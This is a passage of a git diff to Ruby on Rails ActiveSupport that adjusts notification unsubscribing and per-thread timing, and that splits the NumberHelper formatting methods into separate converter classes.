@@ -173,12 +178,12 @@ module ActiveSupport
         unsubscribe(subscriber)
       end
 
-      def unsubscribe(args)
-        notifier.unsubscribe(args)
+      def unsubscribe(subscriber_or_name)
+        notifier.unsubscribe(subscriber_or_name)
       end
 
       def instrumenter
-        InstrumentationRegistry.instrumenter_for(notifier)
+        InstrumentationRegistry.instance.instrumenter_for(notifier)
       end
     end
 
diff --git a/activesupport/lib/active_support/notifications/fanout.rb b/activesupport/lib/active_support/notifications/fanout.rb
index 99fe03e6d0..6bf8c7d5de 100644
--- a/activesupport/lib/active_support/notifications/fanout.rb
+++ b/activesupport/lib/active_support/notifications/fanout.rb
@@ -25,9 +25,15 @@ module ActiveSupport
         subscriber
       end
 
-      def unsubscribe(subscriber)
+      def unsubscribe(subscriber_or_name)
         synchronize do
-          @subscribers.reject! { |s| s.matches?(subscriber) }
+          case subscriber_or_name
+          when String
+            @subscribers.reject! { |s| s.matches?(subscriber_or_name) }
+          else
+            @subscribers.delete(subscriber_or_name)
+          end
+
           @listeners_for.clear
         end
       end
@@ -97,31 +103,27 @@ module ActiveSupport
           end
 
           def subscribed_to?(name)
-            @pattern === name.to_s
+            @pattern === name
           end
 
-          def matches?(subscriber_or_name)
-            self === subscriber_or_name ||
-              @pattern && @pattern === subscriber_or_name
+          def matches?(name)
+            @pattern && @pattern === name
           end
         end
 
         class Timed < Evented
-          def initialize(pattern, delegate)
-            @timestack = []
-            super
-          end
-
           def publish(name, *args)
             @delegate.call name, *args
           end
 
           def start(name, id, payload)
-            @timestack.push Time.now
+            timestack = Thread.current[:_timestack] ||= []
+            timestack.push Time.now
           end
 
           def finish(name, id, payload)
-            started = @timestack.pop
+            timestack = Thread.current[:_timestack]
+            started = timestack.pop
             @delegate.call(name, started, Time.now, id, payload)
           end
         end
diff --git a/activesupport/lib/active_support/notifications/instrumenter.rb b/activesupport/lib/active_support/notifications/instrumenter.rb
index 3a244b34b5..075ddc2382 100644
--- a/activesupport/lib/active_support/notifications/instrumenter.rb
+++ b/activesupport/lib/active_support/notifications/instrumenter.rb
@@ -57,6 +57,18 @@ module ActiveSupport
         @duration       = nil
       end
 
+      # Returns the difference in milliseconds between when the execution of the
+      # event started and when it ended.
+      #
+      #   ActiveSupport::Notifications.subscribe('wait') do |*args|
+      #     @event = ActiveSupport::Notifications::Event.new(*args)
+      #   end
+      #
+      #   ActiveSupport::Notifications.instrument('wait') do
+      #     sleep 1
+      #   end
+      #
+      #   @event.duration # => 1000.138
       def duration
         @duration ||= 1000.0 * (self.end - time)
       end
diff --git a/activesupport/lib/active_support/number_helper.rb b/activesupport/lib/active_support/number_helper.rb
index 54cff6d394..cfca42bc69 100644
--- a/activesupport/lib/active_support/number_helper.rb
+++ b/activesupport/lib/active_support/number_helper.rb
@@ -1,115 +1,19 @@
-require 'active_support/core_ext/big_decimal/conversions'
-require 'active_support/core_ext/object/blank'
-require 'active_support/core_ext/hash/keys'
-require 'active_support/i18n'
-
 module ActiveSupport
   module NumberHelper
-    extend self
-
-    DEFAULTS = {
-      # Used in number_to_delimited
-      # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
-      format: {
-        # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
-        separator: ".",
-        # Delimits thousands (e.g. 1,000,000 is a million) (always in groups of three)
-        delimiter: ",",
-        # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
-        precision: 3,
-        # If set to true, precision will mean the number of significant digits instead
-        # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
-        significant: false,
-        # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
-        strip_insignificant_zeros: false
-      },
-
-      # Used in number_to_currency
-      currency: {
-        format: {
-          format: "%u%n",
-          negative_format: "-%u%n",
-          unit: "$",
-          # These five are to override number.format and are optional
-          separator: ".",
-          delimiter: ",",
-          precision: 2,
-          significant: false,
-          strip_insignificant_zeros: false
-        }
-      },
-
-      # Used in number_to_percentage
-      percentage: {
-        format: {
-          delimiter: "",
-          format: "%n%"
-        }
-      },
-
-      # Used in number_to_rounded
-      precision: {
-        format: {
-          delimiter: ""
-        }
-      },
-
-      # Used in number_to_human_size and number_to_human
-      human: {
-        format: {
-          # These five are to override number.format and are optional
-          delimiter: "",
-          precision: 3,
-          significant: true,
-          strip_insignificant_zeros: true
-        },
-        # Used in number_to_human_size
-        storage_units: {
-          # Storage units output formatting.
-          # %u is the storage unit, %n is the number (default: 2 MB)
-          format: "%n %u",
-          units: {
-            byte: "Bytes",
-            kb: "KB",
-            mb: "MB",
-            gb: "GB",
-            tb: "TB"
-          }
-        },
-        # Used in number_to_human
-        decimal_units: {
-          format: "%n %u",
-          # Decimal units output formatting
-          # By default we will only quantify some of the exponents
-          # but the commented ones might be defined or overridden
-          # by the user.
-          units: {
-            # femto: Quadrillionth
-            # pico: Trillionth
-            # nano: Billionth
-            # micro: Millionth
-            # mili: Thousandth
-            # centi: Hundredth
-            # deci: Tenth
-            unit: "",
-            # ten:
-            #   one: Ten
-            #   other: Tens
-            # hundred: Hundred
-            thousand: "Thousand",
-            million: "Million",
-            billion: "Billion",
-            trillion: "Trillion",
-            quadrillion: "Quadrillion"
-          }
-        }
-      }
-    }
-
-    DECIMAL_UNITS = { 0 => :unit, 1 => :ten, 2 => :hundred, 3 => :thousand, 6 => :million, 9 => :billion, 12 => :trillion, 15 => :quadrillion,
-      -1 => :deci, -2 => :centi, -3 => :mili, -6 => :micro, -9 => :nano, -12 => :pico, -15 => :femto }
+    extend ActiveSupport::Autoload
+
+    eager_autoload do
+      autoload :NumberConverter
+      autoload :NumberToRoundedConverter
+      autoload :NumberToDelimitedConverter
+      autoload :NumberToHumanConverter
+      autoload :NumberToHumanSizeConverter
+      autoload :NumberToPhoneConverter
+      autoload :NumberToCurrencyConverter
+      autoload :NumberToPercentageConverter
+    end
 
-    STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb]
+    extend self
 
     # Formats a +number+ into a US phone number (e.g., (555)
     # 123-9876). You can customize the format in the +options+ hash.
@@ -137,27 +41,7 @@ module ActiveSupport
     #   number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: '.')
     #   # => +1.123.555.1234 x 1343
     def number_to_phone(number, options = {})
-      return unless number
-      options = options.symbolize_keys
-
-      number       = number.to_s.strip
-      area_code    = options[:area_code]
-      delimiter    = options[:delimiter] || "-"
-      extension    = options[:extension]
-      country_code = options[:country_code]
-
-      if area_code
-        number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3")
-      else
-        number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
-        number.slice!(0, 1) if number.start_with?(delimiter) && !delimiter.blank?
-      end
-
-      str = ''
-      str << "+#{country_code}#{delimiter}" unless country_code.blank?
-      str << number
-      str << " x #{extension}" unless extension.blank?
-      str
+      NumberToPhoneConverter.convert(number, options)
     end
 
     # Formats a +number+ into a currency string (e.g., $13.65). You
@@ -199,25 +83,7 @@ module ActiveSupport
     #   number_to_currency(1234567890.50, unit: '&pound;', separator: ',', delimiter: '', format: '%n %u')
     #   # => 1234567890,50 &pound;
     def number_to_currency(number, options = {})
-      return unless number
-      options = options.symbolize_keys
-
-      currency = i18n_format_options(options[:locale], :currency)
-      currency[:negative_format] ||= "-" + currency[:format] if currency[:format]
-
-      defaults  = default_format_options(:currency).merge!(currency)
-      defaults[:negative_format] = "-" + options[:format] if options[:format]
-      options   = defaults.merge!(options)
-
-      unit      = options.delete(:unit)
-      format    = options.delete(:format)
-
-      if number.to_f.phase != 0
-        format = options.delete(:negative_format)
-        number = number.respond_to?("abs") ? number.abs : number.sub(/^-/, '')
-      end
-
-      format.gsub('%n', self.number_to_rounded(number, options)).gsub('%u', unit)
+      NumberToCurrencyConverter.convert(number, options)
     end
 
     # Formats a +number+ as a percentage string (e.g., 65%). You can
@@ -228,7 +94,7 @@ module ActiveSupport
     # * <tt>:locale</tt> - Sets the locale to be used for formatting
     #   (defaults to current locale).
     # * <tt>:precision</tt> - Sets the precision of the number
-    #   (defaults to 3).
+    #   (defaults to 3). Keeps the number's precision if nil.
     # * <tt>:significant</tt> - If +true+, precision will be the #
     #   of significant_digits. If +false+, the # of fractional
     #   digits (defaults to +false+).
@@ -250,17 +116,11 @@ module ActiveSupport
     #   number_to_percentage(1000, delimiter: '.', separator: ',') # => 1.000,000%
     #   number_to_percentage(302.24398923423, precision: 5)        # => 302.24399%
     #   number_to_percentage(1000, locale: :fr)                    # => 1 000,000%
+    #   number_to_percentage:(1000, precision: nil)                # => 1000%
     #   number_to_percentage('98a')                                # => 98a%
     #   number_to_percentage(100, format: '%n  %')                 # => 100  %
     def number_to_percentage(number, options = {})
-      return unless number
-      options = options.symbolize_keys
-
-      defaults = format_options(options[:locale], :percentage)
-      options  = defaults.merge!(options)
-
-      format = options[:format] || "%n%"
-      format.gsub('%n', self.number_to_rounded(number, options))
+      NumberToPercentageConverter.convert(number, options)
     end
 
     # Formats a +number+ with grouped thousands using +delimiter+
@@ -289,15 +149,7 @@ module ActiveSupport
     #   number_to_delimited(98765432.98, delimiter: ' ', separator: ',')
     #   # => 98 765 432,98
     def number_to_delimited(number, options = {})
-      options = options.symbolize_keys
-
-      return number unless valid_float?(number)
-
-      options = format_options(options[:locale]).merge!(options)
-
-      parts = number.to_s.split('.')
-      parts[0].gsub!(/(\d)(?=(\d\d\d)+(?!\d))/, "\\1#{options[:delimiter]}")
-      parts.join(options[:separator])
+      NumberToDelimitedConverter.convert(number, options)
     end
 
     # Formats a +number+ with the specified level of
@@ -310,7 +162,7 @@ module ActiveSupport
     # * <tt>:locale</tt> - Sets the locale to be used for formatting
     #   (defaults to current locale).
     # * <tt>:precision</tt> - Sets the precision of the number
-    #   (defaults to 3).
+    #   (defaults to 3). Keeps the number's precision if nil.
     # * <tt>:significant</tt> - If +true+, precision will be the #
     #   of significant_digits. If +false+, the # of fractional
     #   digits (defaults to +false+).
@@ -331,6 +183,7 @@ module ActiveSupport
     #   number_to_rounded(111.2345, significant: true)               # => 111
     #   number_to_rounded(111.2345, precision: 1, significant: true) # => 100
     #   number_to_rounded(13, precision: 5, significant: true)       # => 13.000
+    #   number_to_rounded(13, precision: nil)                        # => 13
     #   number_to_rounded(111.234, locale: :fr)                      # => 111,234
     #
     #   number_to_rounded(13, precision: 5, significant: true, strip_insignificant_zeros: true)
@@ -340,39 +193,7 @@ module ActiveSupport
     #   number_to_rounded(1111.2345, precision: 2, separator: ',', delimiter: '.')
     #   # => 1.111,23
     def number_to_rounded(number, options = {})
-      return number unless valid_float?(number)
-      number  = Float(number)
-      options = options.symbolize_keys
-
-      defaults = format_options(options[:locale], :precision)
-      options  = defaults.merge!(options)
-
-      precision = options.delete :precision
-      significant = options.delete :significant
-      strip_insignificant_zeros = options.delete :strip_insignificant_zeros
-
-      if significant && precision > 0
-        if number == 0
-          digits, rounded_number = 1, 0
-        else
-          digits = (Math.log10(number.abs) + 1).floor
-          multiplier = 10 ** (digits - precision)
-          rounded_number = (BigDecimal.new(number.to_s) / BigDecimal.new(multiplier.to_f.to_s)).round.to_f * multiplier
-          digits = (Math.log10(rounded_number.abs) + 1).floor # After rounding, the number of digits may have changed
-        end
-        precision -= digits
-        precision = 0 if precision < 0 # don't let it be negative
-      else
-        rounded_number = BigDecimal.new(number.to_s).round(precision).to_f
-        rounded_number = rounded_number.abs if rounded_number.zero? # prevent showing negative zeros
-      end
-      formatted_number = self.number_to_delimited("%01.#{precision}f" % rounded_number, options)
-      if strip_insignificant_zeros
-        escaped_separator = Regexp.escape(options[:separator])
-        formatted_number.sub(/(#{escaped_separator})(\d*[1-9])?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '')
-      else
-        formatted_number
-      end
+      NumberToRoundedConverter.convert(number, options)
     end
 
     # Formats the bytes in +number+ into a more understandable
@@ -413,43 +234,10 @@ module ActiveSupport
     #   number_to_human_size(1234567, precision: 2)                  # => 1.2 MB
     #   number_to_human_size(483989, precision: 2)                   # => 470 KB
     #   number_to_human_size(1234567, precision: 2, separator: ',')  # => 1,2 MB
-    #
-    # Non-significant zeros after the fractional separator are stripped out by
-    # default (set <tt>:strip_insignificant_zeros</tt> to +false+ to change that):
-    #
-    #   number_to_human_size(1234567890123, precision: 5) # => "1.1229 TB"
-    #   number_to_human_size(524288000, precision: 5)     # => "500 MB"
+    #   number_to_human_size(1234567890123, precision: 5)            # => "1.1228 TB"
+    #   number_to_human_size(524288000, precision: 5)                # => "500 MB"
     def number_to_human_size(number, options = {})
-      options = options.symbolize_keys
-
-      return number unless valid_float?(number)
-      number = Float(number)
-
-      defaults = format_options(options[:locale], :human)
-      options  = defaults.merge!(options)
-
-      #for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
-      options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
-
-      storage_units_format = translate_number_value_with_default('human.storage_units.format', :locale => options[:locale], :raise => true)
-
-      base = options[:prefix] == :si ? 1000 : 1024
-
-      if number.to_i < base
-        unit = translate_number_value_with_default('human.storage_units.units.byte', :locale => options[:locale], :count => number.to_i, :raise => true)
-        storage_units_format.gsub(/%n/, number.to_i.to_s).gsub(/%u/, unit)
-      else
-        max_exp  = STORAGE_UNITS.size - 1
-        exponent = (Math.log(number) / Math.log(base)).to_i # Convert to base
-        exponent = max_exp if exponent > max_exp # we need this to avoid overflow for the highest unit
-        number  /= base ** exponent
-
-        unit_key = STORAGE_UNITS[exponent]
-        unit = translate_number_value_with_default("human.storage_units.units.#{unit_key}", :locale => options[:locale], :count => number, :raise => true)
-
-        formatted_number = self.number_to_rounded(number, options)
-        storage_units_format.gsub(/%n/, formatted_number).gsub(/%u/, unit)
-      end
+      NumberToHumanSizeConverter.convert(number, options)
     end
 
     # Pretty prints (formats and approximates) a number in a way it
@@ -460,7 +248,7 @@ module ActiveSupport
     # See <tt>number_to_human_size</tt> if you want to print a file
     # size.
     #
-    # You can also define you own unit-quantifier names if you want
+    # You can also define your own unit-quantifier names if you want
     # to use other decimal units (eg.: 1500 becomes "1.5
     # kilometers", 0.150 becomes "150 milliliters", etc). You may
     # define a wide range of unit quantifiers, even fractional ones
@@ -486,12 +274,12 @@ module ActiveSupport
     #   string containing an i18n scope where to find this hash. It
     #   might have the following keys:
     #   * *integers*: <tt>:unit</tt>, <tt>:ten</tt>,
-    #     *<tt>:hundred</tt>, <tt>:thousand</tt>, <tt>:million</tt>,
-    #     *<tt>:billion</tt>, <tt>:trillion</tt>,
-    #     *<tt>:quadrillion</tt>
+    #     <tt>:hundred</tt>, <tt>:thousand</tt>, <tt>:million</tt>,
+    #     <tt>:billion</tt>, <tt>:trillion</tt>,
+    #     <tt>:quadrillion</tt>
     #   * *fractionals*: <tt>:deci</tt>, <tt>:centi</tt>,
-    #     *<tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>,
-    #     *<tt>:pico</tt>, <tt>:femto</tt>
+    #     <tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>,
+    #     <tt>:pico</tt>, <tt>:femto</tt>
     # * <tt>:format</tt> - Sets the format of the output string
     #   (defaults to "%n %u"). The field types are:
     #   * %u - The quantifier (ex.: 'thousand')
@@ -515,12 +303,15 @@ module ActiveSupport
     #                            separator: ',',
     #                            significant: false) # => "1,2 Million"
     #
+    #   number_to_human(500000000, precision: 5)           # => "500 Million"
+    #   number_to_human(12345012345, significant: false)   # => "12.345 Billion"
+    #
     # Non-significant zeros after the decimal separator are stripped
     # out by default (set <tt>:strip_insignificant_zeros</tt> to
     # +false+ to change that):
     #
-    #   number_to_human(12345012345, significant_digits: 6) # => "12.345 Billion"
-    #   number_to_human(500000000, precision: 5)            # => "500 Million"
+    # number_to_human(12.00001)                                       # => "12"
+    # number_to_human(12.00001, strip_insignificant_zeros: false)     # => "12.0"
     #
     # ==== Custom Unit Quantifiers
     #
@@ -550,88 +341,7 @@ module ActiveSupport
     #   number_to_human(1, units: :distance)                 # => "1 meter"
     #   number_to_human(0.34, units: :distance)              # => "34 centimeters"
     def number_to_human(number, options = {})
-      options = options.symbolize_keys
-
-      return number unless valid_float?(number)
-      number = Float(number)
-
-      defaults = format_options(options[:locale], :human)
-      options  = defaults.merge!(options)
-
-      #for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
-      options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
-
-      inverted_du = DECIMAL_UNITS.invert
-
-      units = options.delete :units
-      unit_exponents = case units
-      when Hash
-        units
-      when String, Symbol
-        I18n.translate(:"#{units}", :locale => options[:locale], :raise => true)
-      when nil
-        translate_number_value_with_default("human.decimal_units.units", :locale => options[:locale], :raise => true)
-      else
-        raise ArgumentError, ":units must be a Hash or String translation scope."
-      end.keys.map{|e_name| inverted_du[e_name] }.sort_by{|e| -e}
-
-      number_exponent = number != 0 ? Math.log10(number.abs).floor : 0
-      display_exponent = unit_exponents.find{ |e| number_exponent >= e } || 0
-      number  /= 10 ** display_exponent
-
-      unit = case units
-      when Hash
-        units[DECIMAL_UNITS[display_exponent]] || ''
-      when String, Symbol
-        I18n.translate(:"#{units}.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
-      else
-        translate_number_value_with_default("human.decimal_units.units.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
-      end
-
-      decimal_format = options[:format] || translate_number_value_with_default('human.decimal_units.format', :locale => options[:locale])
-      formatted_number = self.number_to_rounded(number, options)
-      decimal_format.gsub(/%n/, formatted_number).gsub(/%u/, unit).strip
-    end
-
-    def self.private_module_and_instance_method(method_name) #:nodoc:
-      private method_name
-      private_class_method method_name
-    end
-    private_class_method :private_module_and_instance_method
-
-    def format_options(locale, namespace = nil) #:nodoc:
-      default_format_options(namespace).merge!(i18n_format_options(locale, namespace))
-    end
-    private_module_and_instance_method :format_options
-
-    def default_format_options(namespace = nil) #:nodoc:
-      options = DEFAULTS[:format].dup
-      options.merge!(DEFAULTS[namespace][:format]) if namespace
-      options
-    end
-    private_module_and_instance_method :default_format_options
-
-    def i18n_format_options(locale, namespace = nil) #:nodoc:
-      options = I18n.translate(:'number.format', locale: locale, default: {}).dup
-      if namespace
-        options.merge!(I18n.translate(:"number.#{namespace}.format", locale: locale, default: {}))
-      end
-      options
-    end
-    private_module_and_instance_method :i18n_format_options
-
-    def translate_number_value_with_default(key, i18n_options = {}) #:nodoc:
-      default = key.split('.').reduce(DEFAULTS) { |defaults, k| defaults[k.to_sym] }
-
-      I18n.translate(key, { default: default, scope: :number }.merge!(i18n_options))
-    end
-    private_module_and_instance_method :translate_number_value_with_default
-
-    def valid_float?(number) #:nodoc:
-      Float(number)
-    rescue ArgumentError, TypeError
-      false
+      NumberToHumanConverter.convert(number, options)
     end
-    private_module_and_instance_method :valid_float?
   end
 end
diff --git a/activesupport/lib/active_support/number_helper/number_converter.rb b/activesupport/lib/active_support/number_helper/number_converter.rb
new file mode 100644
index 0000000000..9d976f1831
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_converter.rb
@@ -0,0 +1,182 @@
+require 'active_support/core_ext/big_decimal/conversions'
+require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/hash/keys'
+require 'active_support/i18n'
+require 'active_support/core_ext/class/attribute'
+
+module ActiveSupport
+  module NumberHelper
+    class NumberConverter # :nodoc:
+      # Default and i18n option namespace per class
+      class_attribute :namespace
+
+      # Does the object need a number that is a valid float?
+      class_attribute :validate_float
+
+      attr_reader :number, :opts
+
+      DEFAULTS = {
+        # Used in number_to_delimited
+        # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
+        format: {
+          # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
+          separator: ".",
+          # Delimits thousands (e.g. 1,000,000 is a million) (always in groups of three)
+          delimiter: ",",
+          # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
+          precision: 3,
+          # If set to true, precision will mean the number of significant digits instead
+          # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
+          significant: false,
+          # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
+          strip_insignificant_zeros: false
+        },
+
+        # Used in number_to_currency
+        currency: {
+          format: {
+            format: "%u%n",
+            negative_format: "-%u%n",
+            unit: "$",
+            # These five are to override number.format and are optional
+            separator: ".",
+            delimiter: ",",
+            precision: 2,
+            significant: false,
+            strip_insignificant_zeros: false
+          }
+        },
+
+        # Used in number_to_percentage
+        percentage: {
+          format: {
+            delimiter: "",
+            format: "%n%"
+          }
+        },
+
+        # Used in number_to_rounded
+        precision: {
+          format: {
+            delimiter: ""
+          }
+        },
+
+        # Used in number_to_human_size and number_to_human
+        human: {
+          format: {
+            # These five are to override number.format and are optional
+            delimiter: "",
+            precision: 3,
+            significant: true,
+            strip_insignificant_zeros: true
+          },
+          # Used in number_to_human_size
+          storage_units: {
+            # Storage units output formatting.
+            # %u is the storage unit, %n is the number (default: 2 MB)
+            format: "%n %u",
+            units: {
+              byte: "Bytes",
+              kb: "KB",
+              mb: "MB",
+              gb: "GB",
+              tb: "TB"
+            }
+          },
+          # Used in number_to_human
+          decimal_units: {
+            format: "%n %u",
+            # Decimal units output formatting
+            # By default we will only quantify some of the exponents
+            # but the commented ones might be defined or overridden
+            # by the user.
+            units: {
+              # femto: Quadrillionth
+              # pico: Trillionth
+              # nano: Billionth
+              # micro: Millionth
+              # mili: Thousandth
+              # centi: Hundredth
+              # deci: Tenth
+              unit: "",
+              # ten:
+              #   one: Ten
+              #   other: Tens
+              # hundred: Hundred
+              thousand: "Thousand",
+              million: "Million",
+              billion: "Billion",
+              trillion: "Trillion",
+              quadrillion: "Quadrillion"
+            }
+          }
+        }
+      }
+
+      def self.convert(number, options)
+        new(number, options).execute
+      end
+
+      def initialize(number, options)
+        @number = number
+        @opts   = options.symbolize_keys
+      end
+
+      def execute
+        if !number
+          nil
+        elsif validate_float? && !valid_float?
+          number
+        else
+          convert
+        end
+      end
+
+      private
+
+        def options
+          @options ||= format_options.merge(opts)
+        end
+
+        def format_options #:nodoc:
+          default_format_options.merge!(i18n_format_options)
+        end
+
+        def default_format_options #:nodoc:
+          options = DEFAULTS[:format].dup
+          options.merge!(DEFAULTS[namespace][:format]) if namespace
+          options
+        end
+
+        def i18n_format_options #:nodoc:
+          locale = opts[:locale]
+          options = I18n.translate(:'number.format', locale: locale, default: {}).dup
+
+          if namespace
+            options.merge!(I18n.translate(:"number.#{namespace}.format", locale: locale, default: {}))
+          end
+
+          options
+        end
+
+        def translate_number_value_with_default(key, i18n_options = {}) #:nodoc:
+          I18n.translate(key, { default: default_value(key), scope: :number }.merge!(i18n_options))
+        end
+
+        def translate_in_locale(key, i18n_options = {})
+          translate_number_value_with_default(key, { locale: options[:locale] }.merge(i18n_options))
+        end
+
+        def default_value(key)
+          key.split('.').reduce(DEFAULTS) { |defaults, k| defaults[k.to_sym] }
+        end
+
+        def valid_float? #:nodoc:
+          Float(number)
+        rescue ArgumentError, TypeError
+          false
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb b/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb
new file mode 100644
index 0000000000..fb5adb574a
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb
@@ -0,0 +1,46 @@
+module ActiveSupport
+  module NumberHelper
+    class NumberToCurrencyConverter < NumberConverter # :nodoc:
+      self.namespace = :currency
+
+      def convert
+        number = self.number.to_s.strip
+        format = options[:format]
+
+        if is_negative?(number)
+          format = options[:negative_format]
+          number = absolute_value(number)
+        end
+
+        rounded_number = NumberToRoundedConverter.convert(number, options)
+        format.gsub(/%n/, rounded_number).gsub(/%u/, options[:unit])
+      end
+
+      private
+
+        def is_negative?(number)
+          number.to_f.phase != 0
+        end
+
+        def absolute_value(number)
+          number.respond_to?("abs") ? number.abs : number.sub(/\A-/, '')
+        end
+
+        def options
+          @options ||= begin
+            defaults = default_format_options.merge(i18n_opts)
+            # Override negative format if format options is given
+            defaults[:negative_format] = "-#{opts[:format]}" if opts[:format]
+            defaults.merge!(opts)
+          end
+        end
+
+        def i18n_opts
+          # Set International negative format if not exists
+          i18n = i18n_format_options
+          i18n[:negative_format] ||= "-#{i18n[:format]}" if i18n[:format]
+          i18n
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb b/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb
new file mode 100644
index 0000000000..d85cc086d7
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb
@@ -0,0 +1,23 @@
+module ActiveSupport
+  module NumberHelper
+    class NumberToDelimitedConverter < NumberConverter #:nodoc:
+      self.validate_float = true
+
+      DELIMITED_REGEX = /(\d)(?=(\d\d\d)+(?!\d))/
+
+      def convert
+        parts.join(options[:separator])
+      end
+
+      private
+
+        def parts
+          left, right = number.to_s.split('.')
+          left.gsub!(DELIMITED_REGEX) do |digit_to_delimit|
+            "#{digit_to_delimit}#{options[:delimiter]}"
+          end
+          [left, right].compact
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_human_converter.rb b/activesupport/lib/active_support/number_helper/number_to_human_converter.rb
new file mode 100644
index 0000000000..6940beb318
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_human_converter.rb
@@ -0,0 +1,66 @@
+module ActiveSupport
+  module NumberHelper
+    class NumberToHumanConverter < NumberConverter # :nodoc:
+      DECIMAL_UNITS = { 0 => :unit, 1 => :ten, 2 => :hundred, 3 => :thousand, 6 => :million, 9 => :billion, 12 => :trillion, 15 => :quadrillion,
+        -1 => :deci, -2 => :centi, -3 => :mili, -6 => :micro, -9 => :nano, -12 => :pico, -15 => :femto }
+      INVERTED_DECIMAL_UNITS = DECIMAL_UNITS.invert
+
+      self.namespace      = :human
+      self.validate_float = true
+
+      def convert # :nodoc:
+        @number = Float(number)
+
+        # for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+        unless options.key?(:strip_insignificant_zeros)
+          options[:strip_insignificant_zeros] = true
+        end
+
+        units = opts[:units]
+        exponent = calculate_exponent(units)
+        @number = number / (10 ** exponent)
+
+        unit = determine_unit(units, exponent)
+
+        rounded_number = NumberToRoundedConverter.convert(number, options)
+        format.gsub(/%n/, rounded_number).gsub(/%u/, unit).strip
+      end
+
+      private
+
+        def format
+          options[:format] || translate_in_locale('human.decimal_units.format')
+        end
+
+        def determine_unit(units, exponent)
+          exp = DECIMAL_UNITS[exponent]
+          case units
+          when Hash
+            units[exp] || ''
+          when String, Symbol
+            I18n.translate("#{units}.#{exp}", :locale => options[:locale], :count => number.to_i)
+          else
+            translate_in_locale("human.decimal_units.units.#{exp}", count: number.to_i)
+          end
+        end
+
+        def calculate_exponent(units)
+          exponent = number != 0 ? Math.log10(number.abs).floor : 0
+          unit_exponents(units).find { |e| exponent >= e } || 0
+        end
+
+        def unit_exponents(units)
+          case units
+          when Hash
+            units
+          when String, Symbol
+            I18n.translate(units.to_s, :locale => options[:locale], :raise => true)
+          when nil
+            translate_in_locale("human.decimal_units.units", raise: true)
+          else
+            raise ArgumentError, ":units must be a Hash or String translation scope."
+          end.keys.map { |e_name| INVERTED_DECIMAL_UNITS[e_name] }.sort_by(&:-@)
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb b/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb
new file mode 100644
index 0000000000..78d2c9ae6e
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb
@@ -0,0 +1,58 @@
+module ActiveSupport
+  module NumberHelper
+    class NumberToHumanSizeConverter < NumberConverter #:nodoc:
+      STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb]
+
+      self.namespace      = :human
+      self.validate_float = true
+
+      def convert
+        @number = Float(number)
+
+        # for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+        unless options.key?(:strip_insignificant_zeros)
+          options[:strip_insignificant_zeros] = true
+        end
+
+        if smaller_than_base?
+          number_to_format = number.to_i.to_s
+        else
+          human_size = number / (base ** exponent)
+          number_to_format = NumberToRoundedConverter.convert(human_size, options)
+        end
+        conversion_format.gsub(/%n/, number_to_format).gsub(/%u/, unit)
+      end
+
+      private
+
+        def conversion_format
+          translate_number_value_with_default('human.storage_units.format', :locale => options[:locale], :raise => true)
+        end
+
+        def unit
+          translate_number_value_with_default(storage_unit_key, :locale => options[:locale], :count => number.to_i, :raise => true)
+        end
+
+        def storage_unit_key
+          key_end = smaller_than_base? ? 'byte' : STORAGE_UNITS[exponent]
+          "human.storage_units.units.#{key_end}"
+        end
+
+        def exponent
+          max = STORAGE_UNITS.size - 1
+          exp = (Math.log(number) / Math.log(base)).to_i
+          exp = max if exp > max # avoid overflow for the highest unit
+          exp
+        end
+
+        def smaller_than_base?
+          number.to_i < base
+        end
+
+        def base
+          opts[:prefix] == :si ? 1000 : 1024
+        end
+    end
+  end
+end
+
diff --git a/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb b/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb
new file mode 100644
index 0000000000..1af294a03e
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb
@@ -0,0 +1,12 @@
+module ActiveSupport
+  module NumberHelper
+    class NumberToPercentageConverter < NumberConverter # :nodoc:
+      self.namespace = :percentage
+
+      def convert
+        rounded_number = NumberToRoundedConverter.convert(number, options)
+        options[:format].gsub(/%n/, rounded_number)
+      end
